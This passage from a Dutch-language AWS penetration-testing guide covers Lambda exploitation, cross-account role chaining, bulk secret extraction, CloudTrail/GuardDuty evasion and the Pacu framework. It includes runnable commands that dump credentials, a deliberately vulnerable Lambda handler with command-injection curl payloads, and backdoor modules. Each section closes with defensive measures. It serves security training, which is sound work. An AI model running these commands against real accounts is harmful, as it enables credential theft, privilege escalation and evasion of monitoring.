grep -r "password\|secret\|key" /mnt/etc/ /mnt/home/ /mnt/opt/ 2>/dev/null

Publieke snapshots zijn minder zeldzaam dan je zou hopen. Soms worden ze per ongeluk gedeeld. Soms worden ze gedeeld “voor debugging” en daarna vergeten. Soms weet de persoon die ze deelt niet dat “public” letterlijk “de hele wereld” betekent.

Verdedigingsmaatregel: Forceer IMDSv2 via een Instance Metadata Options-configuratie. Blokkeer IMDSv1 volledig. Sla geen credentials op in user-data. Gebruik IAM roles in plaats van hardcoded keys. Controleer regelmatig of er publieke EBS snapshots zijn. Gebruik AWS Config rules om automatisch te detecteren wanneer een snapshot publiekelijk wordt gedeeld.


3.6 Lambda Exploitatie

3.6.1 Serverless is niet zorgeloos

AWS Lambda is de serverless compute-service van AWS. Je schrijft code, uploadt het, en AWS zorgt voor de rest: servers, schaling, beschikbaarheid. Het klinkt als een droom. En voor aanvallers is het dat ook – maar om andere redenen.

Lambda-functies draaien onder IAM-roles. Die roles hebben vaak meer rechten dan nodig. De code in de functies bevat vaak hardcoded credentials. En de events die Lambda triggeren, worden zelden gevalideerd.

3.6.2 Function URL abuse

Lambda Function URLs zijn publiekelijk bereikbare HTTPS-endpoints voor Lambda-functies. Ze zijn bedoeld voor eenvoudige API’s en webhooks. Het probleem: als de authenticatie verkeerd is geconfigureerd, kan iedereen de functie aanroepen.

# Zoek Lambda-functies met Function URLs
aws lambda list-function-url-configs --function-name TARGET_FUNCTION

# Enumerate alle functies en hun URL configs
for func in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
    url=$(aws lambda get-function-url-config --function-name "$func" 2>/dev/null \
        | jq -r '.FunctionUrl')
    if [ "$url" != "null" ] && [ -n "$url" ]; then
        auth=$(aws lambda get-function-url-config --function-name "$func" \
            | jq -r '.AuthType')
        echo "$func: $url (Auth: $auth)"
    fi
done

Als AuthType op NONE staat, is de functie toegankelijk zonder authenticatie. Iedereen met de URL kan de functie aanroepen.

3.6.3 Environment variable secrets

Lambda-functies gebruiken environment variables voor configuratie. Die variabelen bevatten vaak credentials:

# Haal de configuratie op van een Lambda-functie (inclusief env vars)
aws lambda get-function-configuration --function-name TARGET_FUNCTION

# De output bevat een "Environment" sectie:
# "Environment": {
#     "Variables": {
#         "DB_HOST": "prod-db.cluster-abc.eu-west-1.rds.amazonaws.com",
#         "DB_USER": "admin",
#         "DB_PASSWORD": "ProductieWachtwoord123!",
#         "API_KEY": "sk-live-AbCdEfGhIjKlMnOpQrStUvWxYz",
#         "SLACK_WEBHOOK": "https://hooks.slack.com/services/T00/B00/xxxx"
#     }
# }

# Enumerate alle functies en hun environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text \
    | tr '\t' '\n' \
    | while read func; do
        echo "=== $func ==="
        aws lambda get-function-configuration --function-name "$func" \
            | jq '.Environment.Variables // empty'
    done

Dit is een goudmijn. Database-wachtwoorden, API-keys, webhooks, interne service-URLs – alles staat in de environment variables. En iedereen met lambda:GetFunctionConfiguration kan ze lezen.

3.6.4 Event injection

Lambda-functies worden getriggerd door events: HTTP-requests, S3 uploads, SQS-berichten, CloudWatch-events. Als de functie de event-data niet valideert, is het kwetsbaar voor injection.

# Kwetsbare Lambda-functie (voorbeeld)
import subprocess

def handler(event, context):
    # Event bevat user input via API Gateway
    filename = event['queryStringParameters']['file']
    # Command injection via bestandsnaam!
    result = subprocess.run(f"cat /tmp/{filename}", shell=True, capture_output=True)
    return {
        'statusCode': 200,
        'body': result.stdout.decode()
    }
# Exploitatie: command injection via de event parameter
curl "https://FUNCTION_URL/?file=;env"
# Output bevat alle environment variables, inclusief AWS credentials

curl "https://FUNCTION_URL/?file=;cat+/proc/self/environ"
# Alternatief: process environment

3.6.5 Lambda source code ophalen

Als je lambda:GetFunction hebt, kun je de broncode van een Lambda-functie downloaden:

# Download de code van een Lambda-functie
aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location'
# Dit geeft een pre-signed S3 URL waarmee je de code kunt downloaden

# Download en unzip
url=$(aws lambda get-function --function-name TARGET_FUNCTION \
    | jq -r '.Code.Location')
curl -o /tmp/lambda_code.zip "$url"
unzip /tmp/lambda_code.zip -d /tmp/lambda_code/

# Doorzoek de code op credentials
grep -r "password\|secret\|key\|token" /tmp/lambda_code/

De broncode van Lambda-functies bevat vaak meer dan environment variables: hardcoded credentials, interne API-endpoints, business logic die je kunt misbruiken, en dependencies met bekende kwetsbaarheden.

Verdedigingsmaatregel: Gebruik AWS_IAM als authenticatietype voor Function URLs. Sla credentials op in Secrets Manager of Parameter Store, niet in environment variables. Valideer alle event-input. Gebruik de minst brede IAM-role die mogelijk is. Scan Lambda-code op kwetsbaarheden als onderdeel van je CI/CD-pipeline.


3.7 STS en Cross-Account

3.7.1 De vertrouwensketen

AWS Security Token Service (STS) is de dienst die tijdelijke credentials uitgeeft. Via AssumeRole kun je tijdelijk de rechten van een andere role overnemen. Dit is de basis van cross-account toegang in AWS: account A vertrouwt account B, en gebruikers in account B kunnen roles aannemen in account A.

Dit vertrouwensmodel is krachtig en flexibel. Het is ook een aanvalsoppervlak van jewelste.

3.7.2 AssumeRole in de praktijk

# Stap 1: Vind roles die cross-account trust hebben
aws iam list-roles | jq '.Roles[] |
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) |
    {RoleName, TrustPrincipal: .AssumeRolePolicyDocument.Statement[].Principal}'

# Een trust policy die cross-account toegang toestaat:
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::999888777666:root"
        },
        "Action": "sts:AssumeRole"
    }]
}
# Dit betekent: elke identiteit in account 999888777666 kan deze role aannemen

# Stap 2: AssumeRole uitvoeren
creds=$(aws sts assume-role \
    --role-arn arn:aws:iam::123456789012:role/CrossAccountRole \
    --role-session-name pentest-session \
    --output json)

# Stap 3: Tijdelijke credentials instellen
export AWS_ACCESS_KEY_ID=$(echo $creds | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds | jq -r '.Credentials.SessionToken')

# Stap 4: Verifieer
aws sts get-caller-identity
# Nu werk je als de CrossAccountRole in het target account

3.7.3 Confused Deputy

Het Confused Deputy-probleem doet zich voor wanneer een service (de “deputy”) wordt misleid om acties uit te voeren namens een aanvaller. In AWS-context: als een service een role mag aannemen namens klanten, kan een kwaadaardige klant de service mogelijk laten acteren in een ander klant-account.

// Kwetsbare trust policy (geen ExternalId check)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole"
    }]
}

// Beveiligde trust policy (met ExternalId)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {
            "AWS": "arn:aws:iam::THIRD_PARTY_ACCOUNT:root"
        },
        "Action": "sts:AssumeRole",
        "Condition": {
            "StringEquals": {
                "sts:ExternalId": "UNIEK-GEHEIM-PER-KLANT"
            }
        }
    }]
}

De ExternalId is een gedeeld geheim dat voorkomt dat een willekeurige klant van de third-party service de role kan aannemen. Zonder ExternalId kan elke klant van de third-party service de role aannemen – ook een kwaadaardige klant.

3.7.4 Role chaining

Role chaining is het achtereenvolgens aannemen van roles: role A neemt role B aan, die role C aanneemt. Elk stap vergroot potentieel je rechten.

# Stap 1: Start als user met beperkte rechten
aws sts get-caller-identity
# arn:aws:iam::111111111111:user/pentester

# Stap 2: Neem role A aan (beperkte cross-account role)
creds_a=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/ReadOnlyRole \
    --role-session-name chain-step1)
export AWS_ACCESS_KEY_ID=$(echo $creds_a | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_a | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_a | jq -r '.Credentials.SessionToken')

# Stap 3: Vanuit role A, neem role B aan (met meer rechten)
creds_b=$(aws sts assume-role \
    --role-arn arn:aws:iam::222222222222:role/AdminRole \
    --role-session-name chain-step2)
export AWS_ACCESS_KEY_ID=$(echo $creds_b | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $creds_b | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $creds_b | jq -r '.Credentials.SessionToken')

# Verifieer: je bent nu AdminRole
aws sts get-caller-identity

Role chaining werkt als de trust policies het toestaan. Het maximale aantal stappen is beperkt (de session duration wordt korter bij elke stap), maar twee of drie stappen zijn doorgaans voldoende om van beperkte tot volledige rechten te escaleren.

Verdedigingsmaatregel: Gebruik ExternalId bij alle cross-account roles. Beperk trust policies tot specifieke ARNs, niet hele accounts (arn:aws:iam::ACCOUNT:root). Monitor AssumeRole events in CloudTrail. Implementeer session duration limits. Beperk role chaining via IAM-policies.


3.8 Secrets Manager en Parameter Store

3.8.1 De kluis met de deur op een kier

AWS Secrets Manager en Systems Manager Parameter Store zijn de “juiste” manier om credentials op te slaan in AWS. Ze bieden encryptie, rotatie, en access control. Het probleem is niet de dienst zelf – het probleem is hoe organisaties ze gebruiken.

3.8.2 Secrets Manager enumeratie

# Lijst alle secrets (namen, geen waarden)
aws secretsmanager list-secrets \
    --query 'SecretList[*].{Name:Name,Description:Description}' \
    --output table

# Haal de waarde op van een secret
aws secretsmanager get-secret-value --secret-id prod/database/password
aws secretsmanager get-secret-value --secret-id prod/api/key

# Haal alle secrets op (als je genoeg rechten hebt)
for secret in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
    echo "=== $secret ==="
    aws secretsmanager get-secret-value --secret-id "$secret" \
        --query 'SecretString' --output text 2>/dev/null
done

# Zoek naar secrets met bepaalde keywords
aws secretsmanager list-secrets \
    | jq '.SecretList[] | select(.Name | test("admin|root|prod|database|api|key"; "i"))'

3.8.3 Parameter Store enumeratie

# Lijst alle parameters
aws ssm describe-parameters \
    --query 'Parameters[*].{Name:Name,Type:Type}' \
    --output table

# Haal de waarde op (inclusief SecureString parameters)
aws ssm get-parameter --name /prod/database/password --with-decryption

# Haal alle parameters op in een pad
aws ssm get-parameters-by-path --path /prod/ --recursive --with-decryption

# Zoek naar parameters met bepaalde patronen
aws ssm describe-parameters \
    | jq '.Parameters[] | select(.Name | test("password|secret|key|token"; "i"))'

# Bulk ophalen
for param in $(aws ssm describe-parameters --query 'Parameters[].Name' --output text); do
    echo "=== $param ==="
    aws ssm get-parameter --name "$param" --with-decryption \
        --query 'Parameter.Value' --output text 2>/dev/null
done

3.8.4 Policy misconfiguraties

Het meest voorkomende probleem: een IAM-policy die secretsmanager:GetSecretValue of ssm:GetParameter toestaat op Resource: "*". Dit geeft de identiteit toegang tot alle secrets of parameters in het account.

// Te brede policy (veelvoorkomend)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "secretsmanager:GetSecretValue",
            "ssm:GetParameter",
            "ssm:GetParametersByPath"
        ],
        "Resource": "*"
    }]
}

// Correcte policy (specifieke resources)
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": "secretsmanager:GetSecretValue",
        "Resource": "arn:aws:secretsmanager:eu-west-1:123456789012:secret:app/config/*"
    }]
}

Het verschil? De eerste policy laat de identiteit elk secret in het account lezen. De tweede beperkt het tot secrets die beginnen met app/config/. Het verschil in configuratie-effort is verwaarloosbaar. Het verschil in beveiligingsimpact is enorm.

Verdedigingsmaatregel: Beperk GetSecretValue en GetParameter tot specifieke resource ARNs. Gebruik KMS key policies als extra laag van access control. Activeer secrets rotation. Monitor GetSecretValue en GetParameter calls in CloudTrail. Gebruik IAM Access Analyzer om te verifiëren dat secrets niet te breed gedeeld zijn.


3.9 CloudTrail en GuardDuty

3.9.1 De bewakingscamera’s

AWS CloudTrail logt alle API-calls in een AWS-account. Elke AssumeRole, elke GetSecretValue, elke RunInstances – het staat allemaal in CloudTrail. GuardDuty analyseert die logs (plus VPC Flow Logs en DNS-logs) op verdachte activiteiten.

Als pentester moet je weten wat er wordt gelogd, wat niet, en hoe je kunt opereren binnen een omgeving met actieve monitoring.

3.9.2 Wat wordt gelogd?

Categorie Standaard gelogd? Voorbeelden
Management events Ja CreateUser, AssumeRole, CreateBucket
S3 data events Nee (opt-in) GetObject, PutObject
Lambda data events Nee (opt-in) Invoke
Insights events Nee (opt-in) Anomalie-detectie op API-volume
VPC Flow Logs Nee (apart) Netwerverkeer

De standaardconfiguratie logt alleen management events. Dat betekent dat s3:GetObject (het lezen van objecten) standaard niet wordt gelogd. Je kunt in stilte door S3 buckets bladeren zonder een spoor achter te laten in CloudTrail – tenzij de organisatie S3 data events heeft ingeschakeld.

3.9.3 Evasion technieken

Let op: Evasion is onderdeel van een penetratietest. Het doel is om de detectiecapaciteiten van de organisatie te testen. Documenteer wat je hebt gedaan en wat wel of niet werd gedetecteerd.

# Techniek 1: Gebruik regio's waar CloudTrail niet is geconfigureerd
# Veel organisaties configureren CloudTrail alleen in hun primaire regio
# Check welke regio's CloudTrail trails hebben
aws cloudtrail describe-trails \
    | jq '.trailList[] | {Name, HomeRegion, IsMultiRegionTrail}'

# Als IsMultiRegionTrail = false, worden events in andere regio's niet gelogd
# Voer acties uit in een niet-gemonitorde regio:
aws --region ap-northeast-3 s3 ls  # Osaka -- zelden geconfigureerd

# Techniek 2: S3 data events (vaak niet ingeschakeld)
# ListBucket en GetObject worden alleen gelogd als data events zijn ingeschakeld
aws s3 ls s3://target-bucket/
aws s3 cp s3://target-bucket/secret.txt /tmp/

# Techniek 3: Gebruik services die minder worden gemonitord
# Niet alle services genereren CloudTrail events voor alle acties
# Sommige read-only acties in minder populaire services worden niet gelogd

# Techniek 4: Tijdstip
# Voer activiteiten uit tijdens kantooruren, wanneer normaal verkeer het maskeert

3.9.4 GuardDuty detectie

GuardDuty detecteert specifieke patronen. Als pentester is het nuttig om te weten welke:

Finding Type Wat het detecteert
Recon:IAMUser/MaliciousIPCaller API-calls vanaf bekende kwaadaardige IPs
UnauthorizedAccess:IAMUser/ConsoleLoginSuccess.B Console login vanuit ongebruikelijk land
Discovery:S3/MaliciousIPCaller S3 API-calls vanaf kwaadaardige IPs
Persistence:IAMUser/UserPermissions Ongebruikelijke IAM policy-wijzigingen
PrivilegeEscalation:IAMUser/AdministrativePermissions Escalatie naar admin rechten
Exfiltration:S3/MaliciousIPCaller Data exfiltratie via S3
Impact:EC2/BitcoinDomainRequest.Reputation Cryptomining-gerelateerde DNS queries
UnauthorizedAccess:EC2/MetadataDNSRebind DNS rebinding naar metadata service

GuardDuty gebruikt threat intelligence feeds, machine learning en baseline-analyse. Het is effectief tegen ongerichte aanvallen en bekende patronen. Tegen een doelgerichte pentester die vanuit een schoon IP-adres werkt en binnen normale werkuren opereert, is het minder effectief.

Verdedigingsmaatregel: Configureer CloudTrail als multi-region trail. Schakel S3 en Lambda data events in. Gebruik CloudTrail Lake of een SIEM voor long-term analyse. Activeer GuardDuty in alle regio’s. Configureer GuardDuty findings naar SNS/EventBridge voor real-time alerting. Monitor specifiek op iam:CreateUser, iam:AttachUserPolicy, sts:AssumeRole vanuit onverwachte bronnen.


3.10 Pacu framework

3.10.1 Het Zwitserse zakmes voor AWS-pentesting

Pacu is een open-source AWS exploitation framework, vergelijkbaar met Metasploit maar dan specifiek voor AWS. Het is ontwikkeld door Rhino Security Labs en biedt modules voor enumeratie, privilege escalation, persistence, en data exfiltratie.

# Installatie
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip3 install -r requirements.txt

# Start Pacu
python3 cli.py

# Maak een sessie aan
Pacu> set_keys
# Voer je AWS access key en secret key in

# Verifieer je identiteit
Pacu> whoami

3.10.2 Belangrijke modules

Enumeratie modules:

# IAM enumeratie -- de eerste stap
Pacu> run iam__enum_permissions
# Ontdekt alle permissies van je huidige identiteit

Pacu> run iam__enum_users_roles_policies_groups
# Enumereert alle IAM-entiteiten in het account

# EC2 enumeratie
Pacu> run ec2__enum
# Verzamelt informatie over alle EC2-instanties, security groups, etc.

# S3 enumeratie
Pacu> run s3__enum
# Lijst alle S3 buckets en hun configuratie

# Lambda enumeratie
Pacu> run lambda__enum
# Verzamelt Lambda-functies, configuratie, en environment variables

# Secrets
Pacu> run enum__secrets
# Doorzoekt Secrets Manager en Parameter Store

Privilege escalation modules:

# Automatische privesc detectie
Pacu> run iam__privesc_scan
# Analyseert je huidige rechten en identificeert privesc-paden

# Specifieke privesc-technieken
Pacu> run iam__privesc_scan --method CreateNewPolicyVersion
Pacu> run iam__privesc_scan --method AttachUserPolicy
Pacu> run iam__privesc_scan --method PassExistingRoleToNewLambdaThenInvoke

Persistence modules:

# Maak een backdoor user aan
Pacu> run iam__backdoor_users_keys
# Genereert nieuwe access keys voor bestaande users

# Maak een backdoor role aan
Pacu> run iam__backdoor_assume_role
# Maakt een role aan die je vanuit je eigen account kunt aannemen

Data exfiltratie modules:

# Download S3 bucket inhoud
Pacu> run s3__download_bucket --dl-names target-bucket

# Zoek naar credentials in EC2 user-data
Pacu> run ec2__check_user_data

3.10.3 Session management

Pacu bewaart alle verzamelde data in een sessie. Je kunt meerdere sessies beheren voor verschillende engagements:

# Nieuwe sessie aanmaken
Pacu> swap_session
# Of: create_session NAAM

# Bekijk verzamelde data
Pacu> data IAM
Pacu> data S3
Pacu> data EC2

# Exporteer sessiedata
Pacu> export_keys
Pacu> data --all

# Sessie-overzicht
Pacu> sessions

3.10.4 Privesc chains met Pacu

De kracht van Pacu zit in de automatisering van complexe aanvalsketens:

# Stap 1: Wie ben ik?
Pacu> whoami

# Stap 2: Wat mag ik?
Pacu> run iam__enum_permissions

# Stap 3: Kan ik escaleren?
Pacu> run iam__privesc_scan

# Stap 4: Escaleer
# Pacu voert automatisch de gevonden privesc-methode uit

# Stap 5: Verifieer de nieuwe rechten
Pacu> whoami
Pacu> run iam__enum_permissions

# Stap 6: Enumereer met de nieuwe rechten
Pacu> run s3__enum
Pacu> run ec2__enum
Pacu> run lambda__enum
Pacu> run enum__secrets

IB Tip: Documenteer elke stap die Pacu uitvoert in de IB Notes-functie. Pacu genereert veel CloudTrail-events; noteer welke modules je hebt gedraaid en op welk tijdstip, zodat je in je rapport kunt aangeven welke detectie-events de organisatie had moeten opvangen.


3.11 Verdedigingsmaatregelen: een samenhangend beeld

De verdediging van een AWS-omgeving rust op vier pijlers:

3.11.1 Service Control Policies (SCPs)

SCPs zijn de nucleaire optie van AWS-beveiliging. Ze worden toegepast op accountniveau in AWS Organizations en overschrijven alle andere permissies. Als een SCP iets verbiedt, kan niemand het doen – zelfs niet de root user van het account.

// SCP: voorkom dat CloudTrail wordt uitgeschakeld
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "Action": [
            "cloudtrail:StopLogging",
            "cloudtrail:DeleteTrail"
        ],
        "Resource": "*"
    }]
}

// SCP: beperk activiteiten tot specifieke regio's
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Deny",
        "NotAction": [
            "iam:*",
            "sts:*",
            "s3:*",
            "cloudfront:*"
        ],
        "Resource": "*",
        "Condition": {
            "StringNotEquals": {
                "aws:RequestedRegion": [
                    "eu-west-1",
                    "eu-central-1"
                ]
            }
        }
    }]
}

3.11.2 Permission Boundaries

Permission Boundaries zijn IAM-policies die een plafond zetten op de rechten die een user of role kan hebben. Zelfs als een user AdministratorAccess heeft, beperkt de Permission Boundary wat ze daadwerkelijk kunnen doen.

// Permission Boundary: maximaal S3 en Lambda
{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Action": [
            "s3:*",
            "lambda:*",
            "logs:*"
        ],
        "Resource": "*"
    }]
}
// Zelfs met AdministratorAccess kan deze user geen EC2, IAM, etc. gebruiken

3.11.3 IMDSv2 enforcement

# Forceer IMDSv2 voor alle nieuwe EC2-instanties
aws ec2 modify-instance-metadata-options \
    --instance-id i-0abcdef1234567890 \
    --http-tokens required \
    --http-put-response-hop-limit 1
# http-tokens required = alleen IMDSv2
# http-put-response-hop-limit 1 = blokkeert container-naar-metadata requests

3.11.4 GuardDuty en monitoring

# Activeer GuardDuty in alle regio's
for region in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do
    aws guardduty create-detector --enable --region "$region" 2>/dev/null
    echo "GuardDuty enabled in $region"
done

3.12 De ongemakkelijke waarheid over AWS-beveiliging

AWS biedt alle tools die je nodig hebt om een veilige omgeving op te bouwen. SCPs, Permission Boundaries, IMDSv2, GuardDuty, CloudTrail, Config Rules, Access Analyzer, IAM Access Advisor – het arsenaal is indrukwekkend. Het probleem is niet het gereedschap. Het probleem is de vakman.

De gemiddelde AWS-omgeving lijdt niet aan een gebrek aan beveiligingsopties. Het lijdt aan een gebrek aan discipline. Iemand heeft AdministratorAccess gekoppeld aan een development-user “omdat het anders niet werkte.” Iemand heeft IMDSv1 laten staan “omdat de applicatie dat nodig had.” Iemand heeft een S3 bucket publiekelijk gemaakt “voor testing” en het nooit teruggedraaid.

Het patroon is altijd hetzelfde. De technologie is er. Het beleid is er. De procedure is er. Maar de menselijke neiging om de makkelijkste weg te kiezen, wint het elke keer van het beveiligingsbeleid.

De enige verdediging die werkelijk werkt, is automatisering. Niet beleid dat op papier staat, maar beleid dat in code staat. SCPs die voorkomen dat CloudTrail wordt uitgeschakeld. AWS Config rules die automatisch detecteren wanneer een S3 bucket publiekelijk wordt. Permission Boundaries die voorkomen dat developers hun eigen rechten kunnen escaleren.

Automatiseer het. Want mensen vergeten. Code niet.


3.13 Referentietabel

Techniek Tool/Commando Doel MITRE ATT&CK
Identity Discovery aws sts get-caller-identity Identificeer huidige AWS-identiteit T1087.004
IAM Permission Enum enumerate-iam Ontdek alle beschikbare API-calls T1087.004
IAM User/Role Enum aws iam list-users/roles Enumereer IAM-entiteiten T1087.004
IAM Policy Analysis aws iam get-account-authorization-details Volledige IAM-dump T1087.004
IAM Privesc Scan Pacu iam__privesc_scan Identificeer privilege escalation-paden T1078.004
CreatePolicyVersion aws iam create-policy-version Policy inhoud wijzigen T1098.003
PassRole + Lambda aws lambda create-function Privilege escalation via Lambda T1078.004
AssumeRole aws sts assume-role Cross-account of role-escalatie T1550.001
S3 Public Bucket aws s3 ls --no-sign-request Publiekelijk toegankelijke buckets T1530
S3 Object Download aws s3 cp --no-sign-request Data exfiltratie uit open buckets T1530
EC2 IMDS Credentials curl 169.254.169.254 IAM credentials via metadata service T1552.005
EC2 User-Data curl .../user-data/ Credentials in startup scripts T1552.005
EBS Snapshot Access aws ec2 describe-snapshots Data van publieke snapshots T1530
Lambda Env Vars aws lambda get-function-configuration Credentials in environment variables T1552.001
Lambda Source Code aws lambda get-function Download Lambda-code voor analyse T1213.003
Lambda Event Injection Function URL Command injection via event-data T1059
Secrets Manager Enum aws secretsmanager list-secrets Secrets enumeratie en exfiltratie T1552.001
Parameter Store Enum aws ssm get-parameters-by-path Credentials in Parameter Store T1552.001
CloudTrail Evasion Gebruik niet-gemonitorde regio’s Logging-evasie T1562.008
Pacu Framework pacu Geautomatiseerde AWS exploitation
Cross-Account Abuse sts:AssumeRole + trust policies Laterale beweging tussen accounts T1550.001
Confused Deputy Ontbrekende ExternalId Cross-account trust misbruik T1199

Volgende hoofdstuk: Hoofdstuk 4 – Azure Aanvallen